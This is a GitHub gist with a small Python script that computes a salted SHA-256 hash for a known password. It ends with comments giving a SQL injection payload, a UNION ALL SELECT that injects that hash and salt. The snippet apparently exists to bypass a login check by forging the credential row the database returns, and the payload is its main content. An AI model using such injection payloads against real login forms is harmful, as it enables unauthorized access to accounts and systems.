Skip to content

Instantly share code, notes, and snippets.

@marshall007
Created August 24, 2012 14:13
Show Gist options
  • Select an option

  • Save marshall007/3451062 to your computer and use it in GitHub Desktop.

Select an option

Save marshall007/3451062 to your computer and use it in GitHub Desktop.
import hashlib
salt = hashlib.sha256("salt").hexdigest()[:5]
password = "yep"
calculated_hash = hashlib.sha256(password + salt).hexdigest()
print [salt, calculated_hash]
# password: yep
# salt: 63479
# hash: 2143b6aff39e4925c78ccd88d58d7f7316f12f5b89c48f31aca76c3d08d2664c
# ' UNION ALL SELECT 1, "2143b6aff39e4925c78ccd88d58d7f7316f12f5b89c48f31aca76c3d08d2664c", "63479" /*
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment